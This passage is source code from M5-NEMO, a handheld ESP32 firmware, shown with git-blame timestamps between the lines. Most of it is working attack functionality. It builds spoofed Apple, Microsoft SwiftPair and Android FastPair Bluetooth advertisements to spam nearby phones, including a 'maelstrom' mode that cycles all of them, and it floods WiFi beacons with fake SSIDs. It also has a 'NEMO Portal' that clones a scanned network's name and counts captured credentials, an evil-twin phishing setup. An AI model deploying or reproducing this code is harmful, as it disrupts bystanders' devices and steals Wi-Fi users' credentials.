if (sourApple){
|
2023-11-12 00:32:44 +00:00
|
|
|
Serial.print("SourApple Advertisement: ");
|
2023-10-08 03:43:20 +00:00
|
|
|
// Some code borrowed from RapierXbox/ESP32-Sour-Apple
|
|
|
|
// Original credits for algorithm ECTO-1A & WillyJL
|
2023-10-07 19:59:57 +00:00
|
|
|
uint8_t packet[17];
|
|
|
|
uint8_t size = 17;
|
|
|
|
uint8_t i = 0;
|
|
|
|
packet[i++] = size - 1; // Packet Length
|
|
|
|
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
|
|
|
|
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
|
|
|
|
packet[i++] = 0x00; // ...
|
|
|
|
packet[i++] = 0x0F; // Type
|
|
|
|
packet[i++] = 0x05; // Length
|
|
|
|
packet[i++] = 0xC1; // Action Flags
|
|
|
|
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
|
|
|
|
packet[i++] = types[rand() % sizeof(types)]; // Action Type
|
|
|
|
esp_fill_random(&packet[i], 3); // Authentication Tag
|
|
|
|
i += 3;
|
|
|
|
packet[i++] = 0x00; // ???
|
|
|
|
packet[i++] = 0x00; // ???
|
|
|
|
packet[i++] = 0x10; // Type ???
|
|
|
|
esp_fill_random(&packet[i], 3);
|
|
|
|
oAdvertisementData.addData(std::string((char *)packet, 17));
|
2023-11-12 00:32:44 +00:00
|
|
|
for (int i = 0; i < sizeof packet; i ++) {
|
|
|
|
Serial.printf("%02x", packet[i]);
|
|
|
|
}
|
|
|
|
Serial.println("");
|
|
|
|
} else if (swiftPair) {
|
|
|
|
const char* display_name = generateRandomName();
|
|
|
|
Serial.printf("SwiftPair Advertisement: '%s' - ", display_name);
|
|
|
|
uint8_t display_name_len = strlen(display_name);
|
|
|
|
uint8_t size = 7 + display_name_len;
|
|
|
|
uint8_t* packet = (uint8_t*)malloc(size);
|
|
|
|
uint8_t i = 0;
|
|
|
|
packet[i++] = size - 1; // Size
|
|
|
|
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
|
|
|
packet[i++] = 0x06; // Company ID (Microsoft)
|
|
|
|
packet[i++] = 0x00; // ...
|
|
|
|
packet[i++] = 0x03; // Microsoft Beacon ID
|
|
|
|
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
|
|
|
|
packet[i++] = 0x80; // Reserved RSSI Byte
|
|
|
|
for (int j = 0; j < display_name_len; j++) {
|
|
|
|
packet[i + j] = display_name[j];
|
|
|
|
}
|
|
|
|
for (int i = 0; i < size; i ++) {
|
|
|
|
Serial.printf("%02x", packet[i]);
|
|
|
|
}
|
|
|
|
Serial.println("");
|
|
|
|
|
|
|
|
i += display_name_len;
|
|
|
|
oAdvertisementData.addData(std::string((char *)packet, size));
|
2023-11-12 00:52:05 +00:00
|
|
|
free(packet);
|
|
|
|
free((void*)display_name);
|
2023-12-28 18:59:41 +00:00
|
|
|
} else if (androidPair) {
|
|
|
|
Serial.print("Android Spam Advertisement: ");
|
|
|
|
uint8_t packet[14];
|
|
|
|
uint8_t i = 0;
|
|
|
|
packet[i++] = 3; // Packet Length
|
|
|
|
packet[i++] = 0x03; // AD Type (Service UUID List)
|
|
|
|
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
|
|
|
|
packet[i++] = 0xFE; // ...
|
|
|
|
packet[i++] = 6; // Size
|
|
|
|
packet[i++] = 0x16; // AD Type (Service Data)
|
|
|
|
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
|
|
|
|
packet[i++] = 0xFE; // ...
|
|
|
|
const uint32_t model = android_models[rand() % android_models_count].value; // Action Type
|
|
|
|
packet[i++] = (model >> 0x10) & 0xFF;
|
|
|
|
packet[i++] = (model >> 0x08) & 0xFF;
|
|
|
|
packet[i++] = (model >> 0x00) & 0xFF;
|
|
|
|
packet[i++] = 2; // Size
|
|
|
|
packet[i++] = 0x0A; // AD Type (Tx Power Level)
|
|
|
|
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
|
|
|
|
|
|
|
|
oAdvertisementData.addData(std::string((char *)packet, 14));
|
|
|
|
for (int i = 0; i < sizeof packet; i ++) {
|
|
|
|
Serial.printf("%02x", packet[i]);
|
|
|
|
}
|
|
|
|
Serial.println("");
|
2023-09-22 18:44:29 +00:00
|
|
|
} else {
|
2023-11-12 00:52:05 +00:00
|
|
|
Serial.print("AppleJuice Advertisement: ");
|
2023-10-07 19:59:57 +00:00
|
|
|
if (deviceType >= 18){
|
|
|
|
oAdvertisementData.addData(std::string((char*)data, sizeof(AppleTVPair)));
|
|
|
|
} else {
|
|
|
|
oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods)));
|
|
|
|
}
|
2023-11-12 00:32:44 +00:00
|
|
|
for (int i = 0; i < sizeof(Airpods); i ++) {
|
|
|
|
Serial.printf("%02x", data[i]);
|
|
|
|
}
|
|
|
|
Serial.println("");
|
2023-09-22 18:44:29 +00:00
|
|
|
}
|
2023-11-12 00:32:44 +00:00
|
|
|
|
2023-09-22 18:44:29 +00:00
|
|
|
pAdvertising->setAdvertisementData(oAdvertisementData);
|
|
|
|
pAdvertising->start();
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(M5LED)
|
2023-09-22 18:44:29 +00:00
|
|
|
digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus
|
|
|
|
delay(10);
|
2023-11-18 06:55:47 +00:00
|
|
|
digitalWrite(M5_LED, HIGH); //LED OFF on Stick C Plus
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2023-09-22 18:44:29 +00:00
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-12-28 18:59:41 +00:00
|
|
|
if (sourApple || swiftPair || androidPair || maelstrom){
|
2023-11-18 06:55:47 +00:00
|
|
|
isSwitching = true;
|
2023-11-12 00:32:44 +00:00
|
|
|
current_proc = 16;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(btmenu, btmenu_size);
|
2023-11-12 00:32:44 +00:00
|
|
|
} else {
|
2023-11-18 06:55:47 +00:00
|
|
|
isSwitching = true;
|
2023-11-12 00:32:44 +00:00
|
|
|
current_proc = 8;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(ajmenu, ajmenu_size);
|
2023-11-12 00:32:44 +00:00
|
|
|
}
|
2023-10-08 03:43:20 +00:00
|
|
|
sourApple = false;
|
2023-11-12 00:32:44 +00:00
|
|
|
swiftPair = false;
|
|
|
|
maelstrom = false;
|
2023-09-26 22:00:14 +00:00
|
|
|
pAdvertising->stop(); // Bug that keeps advertising in the background. Oops.
|
2023-09-22 18:44:29 +00:00
|
|
|
delay(250);
|
2023-09-22 02:55:41 +00:00
|
|
|
}
|
2023-09-22 18:44:29 +00:00
|
|
|
}
|
|
|
|
|
2023-09-25 01:55:42 +00:00
|
|
|
/// CREDITS ///
|
2023-09-22 18:44:29 +00:00
|
|
|
void credits_setup(){
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.fillScreen(WHITE);
|
|
|
|
DISP.qrcode("https://github.com/n0xa/m5stick-nemo", 145, 40, 100, 5);
|
|
|
|
DISP.setTextColor(BLACK, WHITE);
|
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
|
|
|
DISP.setCursor(0, 25);
|
|
|
|
DISP.print(" M5-NEMO\n");
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-11-14 02:32:13 +00:00
|
|
|
DISP.printf(" %s\n",buildver);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.println(" For M5Stack");
|
2023-11-14 02:32:13 +00:00
|
|
|
#if defined(STICK_C_PLUS)
|
|
|
|
DISP.println(" StickC-Plus");
|
|
|
|
#endif
|
|
|
|
#if defined(STICK_C)
|
|
|
|
DISP.println(" StickC");
|
|
|
|
#endif
|
|
|
|
#if defined(CARDPUTER)
|
|
|
|
DISP.println(" Cardputer");
|
|
|
|
#endif
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.println("By Noah Axon");
|
|
|
|
DISP.setCursor(155, 5);
|
|
|
|
DISP.println("GitHub");
|
|
|
|
DISP.setCursor(155, 25);
|
|
|
|
DISP.println("Source:");
|
2023-11-14 02:32:13 +00:00
|
|
|
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
2024-01-09 05:18:08 +00:00
|
|
|
delay(250);
|
2023-09-22 18:44:29 +00:00
|
|
|
}
|
|
|
|
|
2023-09-26 04:09:36 +00:00
|
|
|
/// WiFiSPAM ///
|
|
|
|
void wifispam_setup() {
|
|
|
|
// create empty SSID
|
|
|
|
for (int i = 0; i < 32; i++)
|
|
|
|
emptySSID[i] = ' ';
|
|
|
|
// for random generator
|
|
|
|
randomSeed(1);
|
|
|
|
|
|
|
|
// set packetSize
|
|
|
|
packetSize = sizeof(beaconPacket);
|
|
|
|
if (wpa2) {
|
|
|
|
beaconPacket[34] = 0x31;
|
|
|
|
} else {
|
|
|
|
beaconPacket[34] = 0x21;
|
|
|
|
packetSize -= 26;
|
|
|
|
}
|
|
|
|
|
|
|
|
//change WiFi mode
|
|
|
|
WiFi.mode(WIFI_MODE_STA);
|
|
|
|
|
|
|
|
// set channel
|
|
|
|
esp_wifi_set_channel(channels[0], WIFI_SECOND_CHAN_NONE);
|
|
|
|
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("WiFi Spam");
|
2023-09-26 22:00:14 +00:00
|
|
|
delay(1000);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(TINY_TEXT);
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(0, 0);
|
|
|
|
DISP.print("WiFi Spam");
|
2023-09-26 22:00:14 +00:00
|
|
|
int ct = 0;
|
|
|
|
const char *str;
|
|
|
|
switch(spamtype) {
|
|
|
|
case 1:
|
|
|
|
for(str = funnyssids; *str; ++str) ct += *str == '\n';
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.printf(" - %d SSIDs:\n", ct);
|
|
|
|
DISP.print(funnyssids);
|
2023-09-26 22:00:14 +00:00
|
|
|
break;
|
|
|
|
case 2:
|
|
|
|
for(str = rickrollssids; *str; ++str) ct += *str == '\n';
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.printf(" - %d SSIDs:\n", ct);
|
|
|
|
DISP.print(rickrollssids);
|
2023-09-26 22:00:14 +00:00
|
|
|
break;
|
2023-09-27 16:15:37 +00:00
|
|
|
case 3:
|
2023-11-18 04:02:44 +00:00
|
|
|
DISP.printf(" - Random SSIDs\n", ct);
|
2023-09-27 16:15:37 +00:00
|
|
|
break;
|
2023-09-26 22:00:14 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-09-26 04:09:36 +00:00
|
|
|
current_proc = 11;
|
|
|
|
}
|
|
|
|
|
|
|
|
void wifispam_loop() {
|
|
|
|
int i = 0;
|
|
|
|
int len = 0;
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(M5LED)
|
2023-09-26 04:09:36 +00:00
|
|
|
digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus
|
|
|
|
delay(1);
|
|
|
|
digitalWrite(M5_LED, HIGH); //LED OFF on Stick C Plus
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2023-09-26 04:09:36 +00:00
|
|
|
currentTime = millis();
|
|
|
|
if (currentTime - attackTime > 100) {
|
|
|
|
switch(spamtype) {
|
|
|
|
case 1:
|
|
|
|
len = sizeof(funnyssids);
|
|
|
|
while(i < len){
|
|
|
|
i++;
|
|
|
|
}
|
2023-11-18 04:02:44 +00:00
|
|
|
beaconSpamList(funnyssids);
|
2023-09-26 04:09:36 +00:00
|
|
|
break;
|
|
|
|
case 2:
|
|
|
|
len = sizeof(rickrollssids);
|
|
|
|
while(i < len){
|
|
|
|
i++;
|
|
|
|
}
|
2023-11-18 04:02:44 +00:00
|
|
|
beaconSpamList(rickrollssids);
|
2023-09-26 04:09:36 +00:00
|
|
|
break;
|
2023-09-27 16:15:37 +00:00
|
|
|
case 3:
|
2023-09-30 19:37:42 +00:00
|
|
|
char* randoms = randomSSID();
|
2023-09-27 16:15:37 +00:00
|
|
|
len = sizeof(randoms);
|
|
|
|
while(i < len){
|
|
|
|
i++;
|
|
|
|
}
|
2023-11-18 04:02:44 +00:00
|
|
|
beaconSpamList(randoms);
|
2023-09-27 16:15:37 +00:00
|
|
|
break;
|
2023-09-26 04:09:36 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-11-12 00:32:44 +00:00
|
|
|
void btmaelstrom_setup(){
|
|
|
|
rstOverride = false;
|
|
|
|
maelstrom = true;
|
|
|
|
}
|
|
|
|
|
|
|
|
void btmaelstrom_loop(){
|
|
|
|
swiftPair = false;
|
|
|
|
sourApple = true;
|
|
|
|
aj_adv();
|
2023-11-18 06:55:47 +00:00
|
|
|
if (maelstrom){
|
|
|
|
swiftPair = true;
|
2023-12-28 18:59:41 +00:00
|
|
|
androidPair = false;
|
|
|
|
sourApple = false;
|
|
|
|
aj_adv();
|
|
|
|
}
|
|
|
|
if (maelstrom){
|
|
|
|
swiftPair = false;
|
|
|
|
androidPair = true;
|
2023-11-18 06:55:47 +00:00
|
|
|
sourApple = false;
|
|
|
|
aj_adv();
|
|
|
|
}
|
|
|
|
if (maelstrom){
|
|
|
|
swiftPair = false;
|
2023-12-28 18:59:41 +00:00
|
|
|
androidPair = false;
|
2023-11-18 06:55:47 +00:00
|
|
|
sourApple = false;
|
|
|
|
aj_loop(); // roll a random device ID
|
|
|
|
aj_adv();
|
|
|
|
}
|
2023-11-12 00:32:44 +00:00
|
|
|
}
|
|
|
|
|
2023-11-14 03:52:46 +00:00
|
|
|
/// WIFI MENU ///
|
2023-09-26 04:09:36 +00:00
|
|
|
MENU wsmenu[] = {
|
2023-12-30 04:34:45 +00:00
|
|
|
{ "Back", 5},
|
2023-11-14 03:52:46 +00:00
|
|
|
{ "Scan Wifi", 0},
|
|
|
|
{ "Spam Funny", 1},
|
|
|
|
{ "Spam Rickroll", 2},
|
|
|
|
{ "Spam Random", 3},
|
2023-12-30 04:34:45 +00:00
|
|
|
{ "NEMO Portal", 4},
|
2023-09-26 04:09:36 +00:00
|
|
|
};
|
2023-12-29 05:51:11 +00:00
|
|
|
int wsmenu_size = sizeof(wsmenu) / sizeof (MENU);
|
2023-09-26 04:09:36 +00:00
|
|
|
|
|
|
|
void wsmenu_setup() {
|
|
|
|
cursor = 0;
|
|
|
|
rstOverride = true;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(wsmenu, wsmenu_size);
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-09-26 04:09:36 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void wsmenu_loop() {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-09-26 04:09:36 +00:00
|
|
|
cursor++;
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = cursor % wsmenu_size;
|
|
|
|
drawmenu(wsmenu, wsmenu_size);
|
2023-09-26 04:09:36 +00:00
|
|
|
delay(250);
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-09-26 04:09:36 +00:00
|
|
|
int option = wsmenu[cursor].command;
|
2023-11-12 00:32:44 +00:00
|
|
|
rstOverride = false;
|
|
|
|
current_proc = 11;
|
|
|
|
isSwitching = true;
|
2023-09-26 04:09:36 +00:00
|
|
|
switch(option) {
|
|
|
|
case 0:
|
2023-11-14 03:52:46 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 14;
|
2023-09-26 04:09:36 +00:00
|
|
|
break;
|
|
|
|
case 1:
|
2023-11-14 03:52:46 +00:00
|
|
|
spamtype = 1;
|
2023-09-26 04:09:36 +00:00
|
|
|
break;
|
|
|
|
case 2:
|
2023-11-14 03:52:46 +00:00
|
|
|
spamtype = 2;
|
2023-09-27 16:15:37 +00:00
|
|
|
break;
|
|
|
|
case 3:
|
2023-11-14 03:52:46 +00:00
|
|
|
spamtype = 3;
|
|
|
|
break;
|
|
|
|
case 4:
|
2023-12-30 04:34:45 +00:00
|
|
|
current_proc = 19;
|
|
|
|
break;
|
|
|
|
case 5:
|
2023-09-26 04:09:36 +00:00
|
|
|
current_proc = 1;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-11-07 01:10:41 +00:00
|
|
|
void wscan_drawmenu() {
|
|
|
|
char ssid[19];
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(0, 5, 1);
|
2023-11-07 01:10:41 +00:00
|
|
|
// scrolling menu
|
|
|
|
if (cursor > 4) {
|
|
|
|
for ( int i = 0 + (cursor - 4) ; i < wifict ; i++ ) {
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.print((cursor == i) ? ">" : " ");
|
|
|
|
DISP.println(WiFi.SSID(i).substring(0,19));
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
|
|
|
} else {
|
|
|
|
for ( int i = 0 ; i < wifict ; i++ ) {
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.print((cursor == i) ? ">" : " ");
|
|
|
|
DISP.println(WiFi.SSID(i).substring(0,19));
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.print((cursor == wifict) ? ">" : " ");
|
|
|
|
DISP.println("[RESCAN]");
|
|
|
|
DISP.print((cursor == wifict + 1) ? ">" : " ");
|
|
|
|
DISP.println("Back");
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void wscan_result_setup() {
|
|
|
|
cursor = 0;
|
|
|
|
rstOverride = true;
|
|
|
|
wscan_drawmenu();
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void wscan_result_loop(){
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-11-07 01:10:41 +00:00
|
|
|
cursor++;
|
|
|
|
cursor = cursor % ( wifict + 2);
|
|
|
|
wscan_drawmenu();
|
|
|
|
delay(250);
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-11-07 01:10:41 +00:00
|
|
|
delay(250);
|
|
|
|
if(cursor == wifict){
|
|
|
|
rstOverride = false;
|
|
|
|
current_proc = 14;
|
|
|
|
}
|
|
|
|
if(cursor == wifict + 1){
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
2023-11-14 03:52:46 +00:00
|
|
|
current_proc = 12;
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
|
|
|
String encryptType = "";
|
|
|
|
switch (WiFi.encryptionType(cursor)) {
|
|
|
|
case 1:
|
|
|
|
encryptType = "WEP";
|
|
|
|
break;
|
|
|
|
case 2:
|
|
|
|
encryptType = "WPA/PSK/TKIP";
|
|
|
|
break;
|
|
|
|
case 3:
|
|
|
|
encryptType = "WPA/PSK/CCMP";
|
|
|
|
break;
|
|
|
|
case 4:
|
|
|
|
encryptType = "WPA2/PSK/Mixed/CCMP";
|
|
|
|
break;
|
|
|
|
case 8:
|
|
|
|
encryptType = "WPA/WPA2/PSK";
|
|
|
|
break ;
|
|
|
|
case 0:
|
|
|
|
encryptType = "Open";
|
|
|
|
break ;
|
|
|
|
}
|
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
2023-11-07 01:10:41 +00:00
|
|
|
if(WiFi.SSID(cursor).length() > 12){
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println(WiFi.SSID(cursor));
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.printf("Chan : %d\n", WiFi.channel(cursor));
|
|
|
|
DISP.printf("Crypt: %s\n", encryptType);
|
2023-11-14 19:11:51 +00:00
|
|
|
DISP.print("BSSID:\n" + WiFi.BSSIDstr(i));
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.printf("\nNext: Back\n");
|
2024-01-07 08:54:10 +00:00
|
|
|
DISP.printf("Hold Select: Clone\n");
|
|
|
|
if(check_select_press()){
|
|
|
|
apSsidName=WiFi.SSID(cursor);
|
|
|
|
isSwitching=true;
|
|
|
|
current_proc=19;
|
|
|
|
}
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
void wscan_setup(){
|
|
|
|
rstOverride = false;
|
|
|
|
cursor = 0;
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("WiFi Scan");
|
2023-11-07 01:10:41 +00:00
|
|
|
delay(2000);
|
|
|
|
}
|
|
|
|
|
|
|
|
void wscan_loop(){
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("Scanning...");
|
2023-11-07 01:10:41 +00:00
|
|
|
wifict = WiFi.scanNetworks();
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
2023-11-07 01:10:41 +00:00
|
|
|
if(wifict > 0){
|
2023-11-14 03:52:46 +00:00
|
|
|
isSwitching = true;
|
|
|
|
current_proc=15;
|
2023-11-07 01:10:41 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-11-14 02:32:13 +00:00
|
|
|
void bootScreen(){
|
|
|
|
// Boot Screen
|
2024-01-10 03:48:22 +00:00
|
|
|
#ifndef STICK_C
|
2024-01-11 00:45:06 +00:00
|
|
|
BITMAP;
|
2024-01-09 05:18:08 +00:00
|
|
|
delay(3000);
|
2024-01-10 03:48:22 +00:00
|
|
|
#endif
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-14 02:32:13 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
|
|
|
DISP.setCursor(40, 0);
|
|
|
|
DISP.println("M5-NEMO");
|
|
|
|
DISP.setCursor(10, 30);
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.printf("%s-%s\n",buildver,platformName);
|
2023-11-14 02:32:13 +00:00
|
|
|
#if defined(CARDPUTER)
|
|
|
|
DISP.println("Next: Down Arrow");
|
|
|
|
DISP.println("Prev: Up Arrow");
|
|
|
|
DISP.println("Sel : Enter or ->");
|
|
|
|
DISP.println("Home: Esc or <- ");
|
|
|
|
DISP.println(" Press a key");
|
|
|
|
while(true){
|
|
|
|
M5Cardputer.update();
|
|
|
|
if (M5Cardputer.Keyboard.isChange()) {
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(mmenu, mmenu_size);
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(250);
|
2023-11-14 02:32:13 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
#else
|
|
|
|
DISP.println("Next: Side Button");
|
|
|
|
DISP.println("Sel : M5 Button");
|
|
|
|
DISP.println("Home: Power Button");
|
|
|
|
delay(3000);
|
|
|
|
#endif
|
|
|
|
}
|
|
|
|
|
2023-11-14 03:52:46 +00:00
|
|
|
void qrmenu_drawmenu() {
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.fillScreen(BGCOLOR);
|
|
|
|
DISP.setCursor(0, 8, 1);
|
|
|
|
for ( int i = 0 ; i < ( sizeof(qrcodes) / sizeof(QRCODE) ) ; i++ ) {
|
|
|
|
DISP.print((cursor == i) ? ">" : " ");
|
|
|
|
DISP.println(qrcodes[i].name);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
void qrmenu_setup() {
|
|
|
|
cursor = 0;
|
|
|
|
rstOverride = true;
|
|
|
|
qrmenu_drawmenu();
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-11-14 03:52:46 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void qrmenu_loop() {
|
|
|
|
if (check_next_press()) {
|
|
|
|
cursor++;
|
|
|
|
cursor = cursor % ( sizeof(qrcodes) / sizeof(QRCODE) );
|
|
|
|
qrmenu_drawmenu();
|
|
|
|
delay(250);
|
|
|
|
}
|
|
|
|
if (check_select_press()) {
|
|
|
|
if(qrcodes[cursor].url.length() == 0){
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 1;
|
|
|
|
}else{
|
|
|
|
DISP.fillScreen(WHITE);
|
|
|
|
DISP.qrcode(qrcodes[cursor].url, 0, 0, 80, 5);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-12-30 04:34:45 +00:00
|
|
|
/// NEMO PORTAL
|
|
|
|
|
|
|
|
void portal_setup(){
|
|
|
|
setupWiFi();
|
|
|
|
setupWebServer();
|
2024-01-03 20:05:16 +00:00
|
|
|
portal_active = true;
|
2023-12-30 04:34:45 +00:00
|
|
|
cursor = 0;
|
|
|
|
rstOverride = true;
|
|
|
|
printHomeToScreen();
|
|
|
|
delay(500); // Prevent switching after menu loads up
|
|
|
|
}
|
|
|
|
|
|
|
|
void portal_loop(){
|
|
|
|
if ((millis() - lastTick) > PortalTickTimer) {
|
|
|
|
lastTick = millis();
|
|
|
|
if (totalCapturedCredentials != previousTotalCapturedCredentials) {
|
|
|
|
previousTotalCapturedCredentials = totalCapturedCredentials;
|
|
|
|
printHomeToScreen();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
dnsServer.processNextRequest();
|
|
|
|
webServer.handleClient();
|
|
|
|
if (check_next_press()){
|
|
|
|
shutdownWebServer();
|
|
|
|
portal_active = false;
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 12;
|
|
|
|
delay(500);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-09-25 01:55:42 +00:00
|
|
|
/// ENTRY ///
|
|
|
|
void setup() {
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(CARDPUTER)
|
|
|
|
auto cfg = M5.config();
|
|
|
|
M5Cardputer.begin(cfg, true);
|
2023-12-28 16:56:27 +00:00
|
|
|
pinMode(38, OUTPUT); // Backlight analogWrite range ~150 - 255
|
2023-11-14 00:32:50 +00:00
|
|
|
#else
|
2023-09-25 01:55:42 +00:00
|
|
|
M5.begin();
|
2023-11-14 00:32:50 +00:00
|
|
|
#endif
|
2024-01-07 08:00:04 +00:00
|
|
|
if(check_next_press()){
|
|
|
|
clearSettings();
|
|
|
|
}
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(USE_EEPROM)
|
2023-11-13 06:19:16 +00:00
|
|
|
EEPROM.begin(EEPROM_SIZE);
|
2023-12-30 04:34:45 +00:00
|
|
|
Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0));
|
|
|
|
Serial.printf("EEPROM 1 - Dim Time: %d\n", EEPROM.read(1));
|
|
|
|
Serial.printf("EEPROM 2 - Brightness: %d\n", EEPROM.read(2));
|
|
|
|
Serial.printf("EEPROM 3 - TVBG Reg: %d\n", EEPROM.read(3));
|
|
|
|
if(EEPROM.read(0) > 3 || EEPROM.read(1) > 240 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
|
2023-11-14 02:52:15 +00:00
|
|
|
// Assume out-of-bounds settings are a fresh/corrupt EEPROM and write defaults for everything
|
2023-11-13 06:19:16 +00:00
|
|
|
Serial.println("EEPROM likely not properly configured. Writing defaults.");
|
2023-12-29 01:58:18 +00:00
|
|
|
#if defined(CARDPUTER)
|
|
|
|
EEPROM.write(0, 1); // Right rotation for cardputer
|
|
|
|
#else
|
2023-11-13 06:19:16 +00:00
|
|
|
EEPROM.write(0, 3); // Left rotation
|
2023-12-29 01:58:18 +00:00
|
|
|
#endif
|
2023-11-13 06:19:16 +00:00
|
|
|
EEPROM.write(1, 15); // 15 second auto dim time
|
|
|
|
EEPROM.write(2, 100); // 100% brightness
|
|
|
|
EEPROM.write(3, 0); // TVBG NA Region
|
|
|
|
EEPROM.commit();
|
|
|
|
}
|
|
|
|
rotation = EEPROM.read(0);
|
2023-12-29 01:58:18 +00:00
|
|
|
screen_dim_time = EEPROM.read(1);
|
